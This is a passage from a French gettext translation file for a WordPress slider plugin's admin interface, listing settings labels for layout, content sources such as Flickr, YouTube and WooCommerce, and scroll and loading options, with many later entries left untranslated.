"Dont Force Fullwidth" msgstr "Ne pas forcer la pleine largeur" #: admin/views/builder-slider-forms.php:273 #: admin/views/builder-slider-forms.php:1202 msgid "Advanced Settings" msgstr "Parmètres avancés" #: admin/views/builder-slider-forms.php:277 msgid "Max Width" msgstr "Largeur maximale" #: admin/views/builder-slider-forms.php:278 msgid "Min Height" msgstr "Hauteur min" #: admin/views/builder-slider-forms.php:279 msgid "Wrapper Max Height" msgstr "Hauteur maximale du Wrapper" #: admin/views/builder-slider-forms.php:282 msgid "Keep Breakpoint Heights" msgstr "Gardez les hauteurs du point d'arrêt" #: admin/views/builder-slider-forms.php:283 msgid "Respect Ratio" msgstr "Respecter le ratio" #: admin/views/builder-slider-forms.php:284 msgid "Grid = Module" msgstr "Grille = Module" #: admin/views/builder-slider-forms.php:286 msgid "Force Overflow Visible" msgstr "Forcer le débordement visible" #: admin/views/builder-slider-forms.php:287 msgid "Fixed on Top" msgstr "Fixé en haut" #: admin/views/builder-slider-forms.php:297 msgid "Module Position within Wrapper" msgstr "Position du module dans le Wrapper" #: admin/views/builder-slider-forms.php:300 msgid "Align" msgstr "Aligner" #: admin/views/builder-slider-forms.php:320 msgid "Module Background" msgstr "Arrière-plan du module" #: admin/views/builder-slider-forms.php:323 msgid "Use Image" msgstr "Utiliser l'image" #: admin/views/builder-slider-forms.php:326 #: admin/views/builder-slide-forms.php:59 #: admin/views/builder-layer-forms.php:564 #: admin/views/builder-layer-forms.php:1017 msgid "BG Color" msgstr "Couleur AP" #: admin/views/builder-slider-forms.php:329 #: admin/views/builder-layer-forms.php:568 msgid "BG Image" msgstr "Image AP" #: admin/views/builder-slider-forms.php:329 msgid "Enter External URL" msgstr "Spécifiez une URL" #: admin/views/builder-slider-forms.php:330 #: admin/views/builder-slider-forms.php:1229 #: admin/views/builder-slide-forms.php:52 #: admin/views/builder-slide-forms.php:64 #: admin/views/builder-slide-forms.php:71 #: admin/views/builder-slide-forms.php:77 #: admin/views/builder-slide-forms.php:82 #: admin/views/builder-slide-forms.php:173 #: admin/views/builder-slide-forms.php:185 #: admin/views/builder-layer-forms.php:173 #: admin/views/builder-layer-forms.php:215 #: admin/views/builder-layer-forms.php:219 #: admin/views/builder-layer-forms.php:262 msgid "Media Library" msgstr "Médiathèque" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "left center" msgstr "centre gauche" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "left bottom" msgstr "en bas à gauche" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "left top" msgstr "en haut à gauche" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "center top" msgstr "centre haut" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "center center" msgstr "centre centre" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "center bottom" msgstr "centre bas" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "right top" msgstr "en haut à droite" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "right center" msgstr "centre droite" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "right bottom" msgstr "en bas à droite" #: admin/views/builder-slider-forms.php:365 msgid "Border, Overlay & Shadow" msgstr "Bordure, superposition et ombre" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "Overlay" msgstr "Superposition" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "none" msgstr "aucun" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "2 x 2 Black" msgstr "2 x 2 noir" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "2 x 2 White" msgstr "2 x 2 blanc" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "3 x 3 Black" msgstr "3 x 3 noir" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "3 x 3 White" msgstr "3 x 3 blanc" #: admin/views/builder-slider-forms.php:370 msgid "Shadow Type" msgstr "Type d'ombre" #: admin/views/builder-slider-forms.php:370 msgid "No Shadow" msgstr "Pas d'ombre" #: admin/views/builder-slider-forms.php:372 msgid "Gap (Border)" msgstr "Ecart (bordure)" #: admin/views/builder-slider-forms.php:382 msgid "Caraousel" msgstr "Carrousel" #: admin/views/builder-slider-forms.php:385 msgid "Carousel Layout" msgstr "Disposition Carrousel" #: admin/views/builder-slider-forms.php:388 msgid "Infinity Scroll" msgstr "Défilement infini" #: admin/views/builder-slider-forms.php:389 msgid "Layers Visible" msgstr "Layers visibles" #: admin/views/builder-slider-forms.php:391 msgid "Max. Visible" msgstr "Visibilité maximale" #: admin/views/builder-slider-forms.php:393 msgid "Stretch Slides" msgstr "Etirer Slides" #: admin/views/builder-slider-forms.php:411 #: admin/views/builder-nav-forms.php:122 admin/views/builder-nav-forms.php:175 #: admin/views/builder-nav-forms.php:322 admin/views/builder-nav-forms.php:511 #: admin/views/builder-nav-forms.php:693 admin/views/builder-slide-forms.php:21 #: admin/views/builder-slide-forms.php:383 #: admin/views/builder-layer-forms.php:32 #: admin/views/builder-layer-forms.php:1101 #: admin/views/builder-layer-forms.php:1586 msgid "Animation" msgstr "Animation" #: admin/views/builder-slider-forms.php:413 #: admin/views/builder-slider-forms.php:1057 #: admin/views/builder-slide-forms.php:461 #: admin/views/builder-layer-forms.php:1136 msgid "Easing" msgstr "Assouplissement" #: admin/views/builder-slider-forms.php:414 msgid "Ease Speed" msgstr "Vitesse facile" #: admin/views/builder-slider-forms.php:419 #: admin/views/builder-slider-forms.php:1042 #: admin/views/builder-layer-forms.php:1596 msgid "Effects" msgstr "Effets" #: admin/views/builder-slider-forms.php:422 #: admin/views/builder-slider-forms.php:1170 #: admin/views/builder-nav-forms.php:123 admin/views/builder-nav-forms.php:176 #: admin/views/builder-nav-forms.php:323 admin/views/builder-nav-forms.php:512 #: admin/views/builder-nav-forms.php:694 #: admin/views/builder-slide-forms.php:295 msgid "Fade" msgstr "Fondu" #: admin/views/builder-slider-forms.php:428 msgid "Rotation" msgstr "Rotation" #: admin/views/builder-slider-forms.php:435 #: admin/views/builder-layer-forms.php:1663 msgid "Scale" msgstr "Échelle" #: admin/views/builder-slider-forms.php:460 #: admin/views/builder-slider-forms.php:693 #: admin/views/builder-slider-forms.php:775 #: admin/views/builder-slider-forms.php:810 #: admin/views/builder-slider-forms.php:840 #: admin/views/builder-slide-forms.php:42 #: admin/views/builder-slide-forms.php:56 msgid "Source" msgstr "Source" #: admin/views/builder-slider-forms.php:463 msgid "Post-Based" msgstr "Selon les posts" #: admin/views/builder-slider-forms.php:464 admin/views/modals-builder.php:524 #: admin/views/modals-builder.php:577 msgid "WooCommerce" msgstr "WooCommerce" #: admin/views/builder-slider-forms.php:465 msgid "Flickr" msgstr "Flickr" #: admin/views/builder-slider-forms.php:469 msgid "YouTube" msgstr "YouTube" #: admin/views/builder-slider-forms.php:470 msgid "Vimeo" msgstr "Vimeo" #: admin/views/builder-slider-forms.php:477 admin/views/modals-builder.php:523 #: admin/views/modals-builder.php:541 msgid "Post" msgstr "Post" #: admin/views/builder-slider-forms.php:478 msgid "Specific Post" msgstr "Post spécifique" #: admin/views/builder-slider-forms.php:479 msgid "Current Post" msgstr "Post actuel" #: admin/views/builder-slider-forms.php:490 msgid "Post Selection" msgstr "Sélection post" #: admin/views/builder-slider-forms.php:494 msgid "Fetch By" msgstr "Récupérer par" #: admin/views/builder-slider-forms.php:495 msgid "Categories & Tags" msgstr "Catégories et étiquettes" #: admin/views/builder-slider-forms.php:496 msgid "Related" msgstr "Apparenté" #: admin/views/builder-slider-forms.php:497 msgid "Popular" msgstr "Populaire" #: admin/views/builder-slider-forms.php:498 msgid "Recent" msgstr "Récent" #: admin/views/builder-slider-forms.php:499 msgid "Next / Previous" msgstr "Suivant / Précédent" #: admin/views/builder-slider-forms.php:502 msgid "Post Types:" msgstr "Types de post :" #: admin/views/builder-slider-forms.php:511 msgid "Categories:" msgstr "Catégories :" #: admin/views/builder-slider-forms.php:527 msgid "Specific Posts" msgstr "Posts spécifiques" #: admin/views/builder-slider-forms.php:527 msgid "coma separated list | ex: 23,24,25" msgstr "liste séparée par des virgules | ex: 23,24,25" #: admin/views/builder-slider-forms.php:528 msgid "Popular Posts" msgstr "Posts populaires" #: admin/views/builder-slider-forms.php:529 msgid "Recent Posts" msgstr "Posts récents" #: admin/views/builder-slider-forms.php:537 msgid "Sorting & Settings" msgstr "Tri et paramètres" #: admin/views/builder-slider-forms.php:541 msgid "Sort Posts By:" msgstr "Trier les posts par :" #: admin/views/builder-slider-forms.php:542 #: admin/views/builder-slider-forms.php:660 admin/views/modals-builder.php:545 msgid "Post ID" msgstr "Identifiant post" #: admin/views/builder-slider-forms.php:543 #: admin/views/builder-slider-forms.php:661 msgid "Date" msgstr "Date" #: admin/views/builder-slider-forms.php:545 #: admin/views/builder-slider-forms.php:663 msgid "Slug" msgstr "Slug" #: admin/views/builder-slider-forms.php:546 #: admin/views/builder-slider-forms.php:664 msgid "Author" msgstr "Auteur" #: admin/views/builder-slider-forms.php:547 #: admin/views/builder-slider-forms.php:665 msgid "Last Modified" msgstr "Dernière modification" #: admin/views/builder-slider-forms.php:548 #: admin/views/builder-slider-forms.php:666 msgid "Number Of Comments" msgstr "Nombre de commentaires" #: admin/views/builder-slider-forms.php:549 #: admin/views/builder-slider-forms.php:667 #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Random" msgstr "Aléatoire" #: admin/views/builder-slider-forms.php:550 #: admin/views/builder-slider-forms.php:668 msgid "Unsorted" msgstr "Non triés" #: admin/views/builder-slider-forms.php:551 #: admin/views/builder-slider-forms.php:669 msgid "Custom Order" msgstr "Ordre personnalisé" #: admin/views/builder-slider-forms.php:565 #: admin/views/builder-slider-forms.php:671 msgid "Sort Direction" msgstr "Direction de tri" #: admin/views/builder-slider-forms.php:567 #: admin/views/builder-slider-forms.php:673 msgid "Descending" msgstr "Descendant" #: admin/views/builder-slider-forms.php:568 #: admin/views/builder-slider-forms.php:674 msgid "Ascending" msgstr "Ascendant" #: admin/views/builder-slider-forms.php:572 #: admin/views/builder-slider-forms.php:677 msgid "Max Posts" msgstr "Posts maximum" #: admin/views/builder-slider-forms.php:573 #: admin/views/builder-slider-forms.php:678 msgid "Limit Excerpt" msgstr "Limiter l'extrait" #: admin/views/builder-slider-forms.php:587 msgid "No further source settings needed. Content is created manually." msgstr "Aucun autre paramètre source requis. Le contenu est créé manuellement." #: admin/views/builder-slider-forms.php:597 msgid "Types & Categories" msgstr "Types et catégories" #: admin/views/builder-slider-forms.php:601 msgid "Types" msgstr "Types" #: admin/views/builder-slider-forms.php:613 msgid "Product Categories" msgstr "Catégories produit" #: admin/views/builder-slider-forms.php:632 #: admin/views/builder-slide-forms.php:22 #: admin/views/builder-slide-forms.php:321 #: admin/views/builder-slide-forms.php:324 msgid "Filters" msgstr "Filtres" #: admin/views/builder-slider-forms.php:636 #: admin/views/builder-slider-forms.php:640 msgid "From" msgstr "De" #: admin/views/builder-slider-forms.php:637 #: admin/views/builder-slider-forms.php:641 msgid "To" msgstr "À" #: admin/views/builder-slider-forms.php:643 msgid "In Stock Only" msgstr "En stock seulement" #: admin/views/builder-slider-forms.php:644 msgid "Featured Only" msgstr "Populaire seulement" #: admin/views/builder-slider-forms.php:649 msgid "Sorting & Limitations" msgstr "Tri et restrictions" #: admin/views/builder-slider-forms.php:652 msgid "Sort Prod. By" msgstr "Trier produit par" #: admin/views/builder-slider-forms.php:687 msgid "Flickr Settings" msgstr "Paramètres Flickr" #: admin/views/builder-slider-forms.php:690 #: admin/views/builder-slider-forms.php:728 #: admin/views/builder-slider-forms.php:746 #: admin/views/builder-slider-forms.php:772 #: admin/views/builder-slider-forms.php:800 #: admin/views/builder-slider-forms.php:838 msgid "Amount of Slides" msgstr "Quantité de Slides" #: admin/views/builder-slider-forms.php:691 #: admin/views/builder-slider-forms.php:747 #: admin/views/builder-slider-forms.php:773 #: admin/views/builder-slider-forms.php:801 #: admin/views/builder-slider-forms.php:839 msgid "Cache (sec)" msgstr "Cache (sec)" #: admin/views/builder-slider-forms.php:691 #: admin/views/builder-slider-forms.php:729 #: admin/views/builder-slider-forms.php:747 #: admin/views/builder-slider-forms.php:773 #: admin/views/builder-slider-forms.php:801 #: admin/views/builder-slider-forms.php:839 msgid "i.e. 1200" msgstr "c'est-à-dire 1200" #: admin/views/builder-slider-forms.php:692 #: admin/views/builder-slider-forms.php:802 msgid "API Key" msgstr "Clé API" #: admin/views/builder-slider-forms.php:692 msgid "Enter your Api Key" msgstr "Saisissez votre clé Api" #: admin/views/builder-slider-forms.php:694 #: admin/views/builder-slider-forms.php:731 msgid "Display a user's public photos" msgstr "Afficher les photos publiques d'un utilisateur" #: admin/views/builder-slider-forms.php:694 #: admin/views/builder-slider-forms.php:731 msgid "User Public Photos" msgstr "Photos publiques de l'utilisateur" #: admin/views/builder-slider-forms.php:695 msgid "Display a certain photoset from a user" msgstr "Afficher une certain série de photos d'un utilisateur" #: admin/views/builder-slider-forms.php:695 msgid "User Photoset" msgstr "Série de photo de l'utilisateur" #: admin/views/builder-slider-forms.php:696 msgid "Display a gallery" msgstr "Afficher une galerie" #: admin/views/builder-slider-forms.php:696 msgid "Gallery" msgstr "Gallerie" #: admin/views/builder-slider-forms.php:697 msgid "Display a group's photos" msgstr "Afficher les photos d'un groupe" #: admin/views/builder-slider-forms.php:697 msgid "Groups' Photos" msgstr "Photos du groupe" #: admin/views/builder-slider-forms.php:700 msgid "User URL:" msgstr "URL de l'utilisateur :" #: admin/views/builder-slider-forms.php:700 msgid "Enter User URL" msgstr "Saisissez l'URL de l'utilisateur" #: admin/views/builder-slider-forms.php:702 msgid "Photoset" msgstr "Série de photos" #: admin/views/builder-slider-forms.php:702 msgid "Pick an Item" msgstr "Sélectionnez un élément" #: admin/views/builder-slider-forms.php:706 msgid "Gallery URL" msgstr "URL de la galerie" #: admin/views/builder-slider-forms.php:706 msgid "Enter Gallery URL" msgstr "Saisissez l'URL de la galerie" #: admin/views/builder-slider-forms.php:709 msgid "Group URL" msgstr "URL du groupe" #: admin/views/builder-slider-forms.php:709 msgid "Enter Group URL" msgstr "Saisissez l'URL du groupe" #: admin/views/builder-slider-forms.php:714 msgid "" "Read here how to receive your Flickr API key" msgstr "" "Lisez ici pour savoir comment recevoir votre clé d'API Flickr" #: admin/views/builder-slider-forms.php:725 msgid "Instagram Settings" msgstr "Paramètres Instagram" #: admin/views/builder-slider-forms.php:728 msgid "Slides:" msgstr "Slides :" #: admin/views/builder-slider-forms.php:729 msgid "Cache (sec):" msgstr "Cache (sec) :" #: admin/views/builder-slider-forms.php:730 msgid "Source:" msgstr "Source :" #: admin/views/builder-slider-forms.php:733 msgid "User Name:" msgstr "Nom Utilisateur :" #: admin/views/builder-slider-forms.php:733 #: admin/views/builder-slider-forms.php:847 msgid "Enter User Name" msgstr "Saisissez votre nom d'utilisateur" #: admin/views/builder-slider-forms.php:743 msgid "Twitter Settings" msgstr "Paramètres Twitter" #: admin/views/builder-slider-forms.php:746 msgid "Slides (<500)" msgstr "Slides (<500)" #: admin/views/builder-slider-forms.php:748 msgid "Twitter @" msgstr "Twitter @" #: admin/views/builder-slider-forms.php:748 msgid "Enter Twitter Name" msgstr "Saisissez votre nom Twitter" #: admin/views/builder-slider-forms.php:749 msgid "Text Tweets" msgstr "Tweets SMS" #: admin/views/builder-slider-forms.php:750 msgid "ReTweets" msgstr "ReTweets" #: admin/views/builder-slider-forms.php:751 msgid "Replies" msgstr "Réponses" #: admin/views/builder-slider-forms.php:752 msgid "Consumer Key" msgstr "Clé consommateur" #: admin/views/builder-slider-forms.php:752 msgid "Enter Consumer Key" msgstr "Saisissez la clé consommateur" #: admin/views/builder-slider-forms.php:753 msgid "Cons. Secret" msgstr "Secret consommateur" #: admin/views/builder-slider-forms.php:753 msgid "Enter Secret" msgstr "Spécifiez le secret" #: admin/views/builder-slider-forms.php:754 msgid "Access Token" msgstr "Jeton d'accès" #: admin/views/builder-slider-forms.php:754 msgid "Enter Access Token" msgstr "Saisissez le jeton d'accès" #: admin/views/builder-slider-forms.php:755 msgid "Access Secret" msgstr "" #: admin/views/builder-slider-forms.php:755 msgid "Enter Access Secret" msgstr "Saisissez le secret d'accès" #: admin/views/builder-slider-forms.php:759 msgid "" "Please register your application with Twitter
            to get the right values" msgstr "" "Merci
            d'enregistrervotre demande avec Twitter
            afin d'obtenir les bonnes " "valeurs" #: admin/views/builder-slider-forms.php:769 msgid "FaceBook Settings" msgstr "Paramètres Facebook" #: admin/views/builder-slider-forms.php:772 #: admin/views/builder-slider-forms.php:800 msgid "Slides (<25)" msgstr "Slides (<25)" #: admin/views/builder-slider-forms.php:774 msgid "Page URL" msgstr "URL de la page" #: admin/views/builder-slider-forms.php:774 msgid "Enter FaceBook Page URL" msgstr "Saisissez l'URL de la page Facebook" #: admin/views/builder-slider-forms.php:776 #: admin/views/builder-slider-forms.php:842 #: admin/views/builder-slider-forms.php:850 msgid "Album" msgstr "Album" #: admin/views/builder-slider-forms.php:777 msgid "TimeLine" msgstr "Chronologie" #: admin/views/builder-slider-forms.php:780 msgid "Select Album" msgstr "Sélectionner un album" #: admin/views/builder-slider-forms.php:782 msgid "APP ID" msgstr "Identifiant Appli" #: admin/views/builder-slider-forms.php:782 msgid "Enter the App ID" msgstr "Saisissez l'identifiant de l'appli" #: admin/views/builder-slider-forms.php:783 msgid "APP Secret" msgstr "Secret de l'appli" #: admin/views/builder-slider-forms.php:783 msgid "Enter the App Secret" msgstr "Saisissez le secret de l'appli" #: admin/views/builder-slider-forms.php:787 msgid "" "Please register your Website app with Facebook
            to get the right " "values" msgstr "" "Mercid'enregistrervotre appli site Web avec Facebook
            afin " "d'obtenir les bonnes valeurs" #: admin/views/builder-slider-forms.php:797 msgid "YouTube Settings" msgstr "Paramètres YouTube" #: admin/views/builder-slider-forms.php:802 msgid "Enter Api Key" msgstr "Saisissez la clé API" #: admin/views/builder-slider-forms.php:806 msgid "" "Find information about the YouTube API key here" msgstr "" #: admin/views/builder-slider-forms.php:809 msgid "Channel ID" msgstr "Identifiant de la chaine" #: admin/views/builder-slider-forms.php:809 msgid "Enter YouTube Channel ID" msgstr "Saisissez l'Identifiant de la chaîne YouTube" #: admin/views/builder-slider-forms.php:811 msgid "Playlist" msgstr "Liste de lecture" #: admin/views/builder-slider-forms.php:812 #: admin/views/builder-slider-forms.php:844 #: admin/views/builder-slider-forms.php:856 msgid "Channel" msgstr "Chaine" #: admin/views/builder-slider-forms.php:815 msgid "Select Playlist" msgstr "Sélectionnez la liste de lecture" #: admin/views/builder-slider-forms.php:820 msgid "" "See how to find the Youtube channel ID here" msgstr "" #: admin/views/builder-slider-forms.php:825 msgid "" "The “YouTube Stream” content source is used to display a full stream of " "videos from a channel/playlist.
            If you want to display a single youtube " "video, please select the content source “Default Slider” and add a video " "layer in the slide editor." msgstr "" #: admin/views/builder-slider-forms.php:835 msgid "Vimeo Settings" msgstr "" #: admin/views/builder-slider-forms.php:838 msgid "Slides (<60)" msgstr "" #: admin/views/builder-slider-forms.php:841 #: admin/views/builder-slider-forms.php:847 msgid "User" msgstr "" #: admin/views/builder-slider-forms.php:850 msgid "Enter Album Id" msgstr "" #: admin/views/builder-slider-forms.php:853 msgid "Enter Group Name" msgstr "" #: admin/views/builder-slider-forms.php:856 msgid "Enter Channel Name" msgstr "" #: admin/views/builder-slider-forms.php:860 msgid "" "The “Vimeo Stream” content source is used to display a full stream of videos " "from a user/album/group/channel.
            If you want to display a single vimeo " "video, please select the content source “Default Slider” and add a video " "layer in the slide editor." msgstr "" #: admin/views/builder-slider-forms.php:871 msgid "General Settings" msgstr "" #: admin/views/builder-slider-forms.php:875 msgid "Dynamic Viewport Loading" msgstr "" #: admin/views/builder-slider-forms.php:878 msgid "ViewPort Stop" msgstr "" #: admin/views/builder-slider-forms.php:881 msgid "Wait" msgstr "" #: admin/views/builder-slider-forms.php:881 msgid "Pause" msgstr "" #: admin/views/builder-slider-forms.php:893 msgid "Slideshow" msgstr "" #: admin/views/builder-slider-forms.php:897 msgid "Auto Rotate Slideshow" msgstr "" #: admin/views/builder-slider-forms.php:899 msgid "Stop on Hover" msgstr "" #: admin/views/builder-slider-forms.php:900 msgid "Loop One Slide" msgstr "" #: admin/views/builder-slider-forms.php:901 msgid "Stop after N Loops" msgstr "" #: admin/views/builder-slider-forms.php:908 msgid "Random Order" msgstr "" #: admin/views/builder-slider-forms.php:911 msgid "Wait for API" msgstr "" #: admin/views/builder-slider-forms.php:922 msgid "Other 1. Slide" msgstr "" #: admin/views/builder-slider-forms.php:923 msgid "#" msgstr "" #: admin/views/builder-slider-forms.php:925 msgid "Diff. Anim" msgstr "" #: admin/views/builder-slider-forms.php:927 msgid "Transitions" msgstr "" #: admin/views/builder-slider-forms.php:929 #: admin/views/builder-slide-forms.php:462 #: admin/views/builder-layer-forms.php:1134 msgid "Duration" msgstr "" #: admin/views/builder-slider-forms.php:930 msgid "Slot Amount" msgstr "" #: admin/views/builder-slider-forms.php:937 #: admin/views/builder-slider-forms.php:1049 msgid "Disable on Mobile" msgstr "" #: admin/views/builder-slider-forms.php:939 msgid "Disable Slider" msgstr "" #: admin/views/builder-slider-forms.php:940 msgid "Disable Ken B." msgstr "" #: admin/views/builder-slider-forms.php:946 msgid "Hide Under Browser width..." msgstr "" #: admin/views/builder-slider-forms.php:949 msgid "Marked Layers" msgstr "" #: admin/views/builder-slider-forms.php:950 msgid "All Layers" msgstr "" #: admin/views/builder-slider-forms.php:955 msgid "Mobile Settings" msgstr "" #: admin/views/builder-slider-forms.php:957 msgid "HTML5 Autoplay" msgstr "" #: admin/views/builder-slider-forms.php:961 msgid "Option is depricated and will be removed in upcoming updates !" msgstr "" #: admin/views/builder-slider-forms.php:970 msgid "Browser behavior" msgstr "" #: admin/views/builder-slider-forms.php:973 msgid "Next on Browser Focus" msgstr "" #: admin/views/builder-slider-forms.php:974 msgid "Disable Blur/Focus behav." msgstr "" #: admin/views/builder-slider-forms.php:984 #: admin/views/builder-slide-forms.php:31 msgid "WPML" msgstr "" #: admin/views/builder-slider-forms.php:986 msgid "Use WPML Settings" msgstr "" #: admin/views/builder-slider-forms.php:1000 msgid "Module Defaults" msgstr "" #: admin/views/builder-slider-forms.php:1004 msgid "Default Basics" msgstr "" #: admin/views/builder-slider-forms.php:1006 msgid "Module ID" msgstr "" #: admin/views/builder-slider-forms.php:1007 msgid "Module Classes" msgstr "" #: admin/views/builder-slider-forms.php:1008 msgid "Wrapper Classes" msgstr "" #: admin/views/builder-slider-forms.php:1009 msgid "Slide Duration" msgstr "" #: admin/views/builder-slider-forms.php:1010 msgid "Initialization Delay" msgstr "" #: admin/views/builder-slider-forms.php:1011 msgid "Layers are Selectable" msgstr "" #: admin/views/builder-slider-forms.php:1017 msgid "Default New Layer Settings" msgstr "" #: admin/views/builder-slider-forms.php:1019 #: admin/views/builder-layer-forms.php:378 msgid "Intelligent Inheriting" msgstr "" #: admin/views/builder-slider-forms.php:1020 msgid "Responsive Between Devices" msgstr "" #: admin/views/builder-slider-forms.php:1021 #: admin/views/builder-layer-forms.php:385 msgid "Responsive Offsets" msgstr "" #: admin/views/builder-slider-forms.php:1022 #: admin/views/builder-layer-forms.php:386 msgid "Responsive Children" msgstr "" #: admin/views/builder-slider-forms.php:1037 msgid "Scroll Based Features" msgstr "" #: admin/views/builder-slider-forms.php:1040 msgid "Parallax" msgstr "" #: admin/views/builder-slider-forms.php:1041 #: admin/views/builder-layer-forms.php:1595 msgid "Timeline" msgstr "" #: admin/views/builder-slider-forms.php:1046 msgid "Parallax Enabled" msgstr "" #: admin/views/builder-slider-forms.php:1048 msgid "3D Effects Enabled" msgstr "" #: admin/views/builder-slider-forms.php:1054 msgid "Timelines Scroll based" msgstr "" #: admin/views/builder-slider-forms.php:1058 msgid "Speed" msgstr "" #: admin/views/builder-slider-forms.php:1061 msgid "Fix during Scroll" msgstr "" #: admin/views/builder-slider-forms.php:1066 msgid "Module Fixed From" msgstr "" #: admin/views/builder-slider-forms.php:1067 msgid "Module Fixed Until" msgstr "" #: admin/views/builder-slider-forms.php:1073 msgid "Use Full Screen or Full Width Layout to Use Fixed Scroll." msgstr "" #: admin/views/builder-slider-forms.php:1080 msgid "Scroll based Effects" msgstr "" #: admin/views/builder-slider-forms.php:1089 msgid "Mouse Interaction" msgstr "" #: admin/views/builder-slider-forms.php:1091 msgid "Triggered by" msgstr "" #: admin/views/builder-slider-forms.php:1092 msgid "Mouse Move" msgstr "" #: admin/views/builder-slider-forms.php:1093 msgid "Scroll Position" msgstr "" #: admin/views/builder-slider-forms.php:1094 msgid "Mouse Move & Scroll" msgstr "" #: admin/views/builder-slider-forms.php:1096 msgid "Parallax Orig." msgstr "" #: admin/views/builder-slider-forms.php:1097 msgid "Mouse Enter Point" msgstr "" #: admin/views/builder-slider-forms.php:1098 msgid "Slider Center" msgstr "" #: admin/views/builder-slider-forms.php:1100 msgid "Mouse Speed" msgstr "" #: admin/views/builder-slider-forms.php:1101 msgid "BG Speed" msgstr "" #: admin/views/builder-slider-forms.php:1102 msgid "Layers Speed" msgstr "" #: admin/views/builder-slider-forms.php:1108 msgid "3D Settings" msgstr "" #: admin/views/builder-slider-forms.php:1111 msgid "On Background Enabled" msgstr "" #: admin/views/builder-slider-forms.php:1112 msgid "Slider Overflow Hidden" msgstr "" #: admin/views/builder-slider-forms.php:1113 msgid "Layers Overflow Hidden" msgstr "" #: admin/views/builder-slider-forms.php:1115 msgid "3D Crop Fix (z)" msgstr "" #: admin/views/builder-slider-forms.php:1116 #: admin/views/builder-slide-forms.php:261 msgid "BG 3D Depth" msgstr "" #: admin/views/builder-slider-forms.php:1121 msgid "Depths" msgstr "" #: admin/views/builder-slider-forms.php:1124 msgid "1." msgstr "" #: admin/views/builder-slider-forms.php:1125 msgid "6." msgstr "" #: admin/views/builder-slider-forms.php:1126 msgid "11." msgstr "" #: admin/views/builder-slider-forms.php:1129 msgid "2." msgstr "" #: admin/views/builder-slider-forms.php:1130 msgid "7." msgstr "" #: admin/views/builder-slider-forms.php:1131 msgid "12." msgstr "" #: admin/views/builder-slider-forms.php:1134 msgid "3." msgstr "" #: admin/views/builder-slider-forms.php:1135 msgid "8." msgstr "" #: admin/views/builder-slider-forms.php:1136 msgid "13." msgstr "" #: admin/views/builder-slider-forms.php:1139 msgid "4." msgstr "" #: admin/views/builder-slider-forms.php:1140 msgid "9." msgstr "" #: admin/views/builder-slider-forms.php:1141 msgid "14." msgstr "" #: admin/views/builder-slider-forms.php:1144 msgid "5." msgstr "" #: admin/views/builder-slider-forms.php:1145 msgid "10." msgstr "" #: admin/views/builder-slider-forms.php:1146 msgid "15." msgstr "" #: admin/views/builder-slider-forms.php:1156 msgid "Use Default on..." msgstr "" #: admin/views/builder-slider-forms.php:1158 msgid "Layers" msgstr "" #: admin/views/builder-slider-forms.php:1168 msgid "Scroll Effects Default" msgstr "" #: admin/views/builder-slider-forms.php:1171 #: admin/views/builder-slide-forms.php:305 msgid "Grayscale" msgstr "" #: admin/views/builder-slider-forms.php:1172 #: admin/views/builder-slide-forms.php:300 msgid "Blur" msgstr "" #: admin/views/builder-slider-forms.php:1173 msgid "Max Blur Strength" msgstr "" #: admin/views/builder-slider-forms.php:1174 msgid "Layers default Enabled" msgstr "" #: admin/views/builder-slider-forms.php:1175 msgid "Slides default Enabled" msgstr "" #: admin/views/builder-slider-forms.php:1179 msgid "Scroll Effects Settings" msgstr "" #: admin/views/builder-slider-forms.php:1182 #: admin/views/builder-nav-forms.php:811 msgid "Direction" msgstr "" #: admin/views/builder-slider-forms.php:1185 #: admin/views/builder-layer-forms.php:326 msgid "Both" msgstr "" #: admin/views/builder-slider-forms.php:1188 msgid "Disable Mobile" msgstr "" #: admin/views/builder-slider-forms.php:1189 msgid "Offset (Tilt) Effect" msgstr "" #: admin/views/builder-slider-forms.php:1190 msgid "Factor on BG's" msgstr "" #: admin/views/builder-slider-forms.php:1191 msgid "Factor on Layers" msgstr "" #: admin/views/builder-slider-forms.php:1205 msgid "Loading Type" msgstr "" #: admin/views/builder-slider-forms.php:1208 #: admin/views/builder-layer-forms.php:179 msgid "Lazy Loading" msgstr "" #: admin/views/builder-slider-forms.php:1208 msgid "All" msgstr "" #: admin/views/builder-slider-forms.php:1208 msgid "Smart" msgstr "" #: admin/views/builder-slider-forms.php:1208 msgid "Single" msgstr "" #: admin/views/builder-slider-forms.php:1208 msgid "No Lazy Loading" 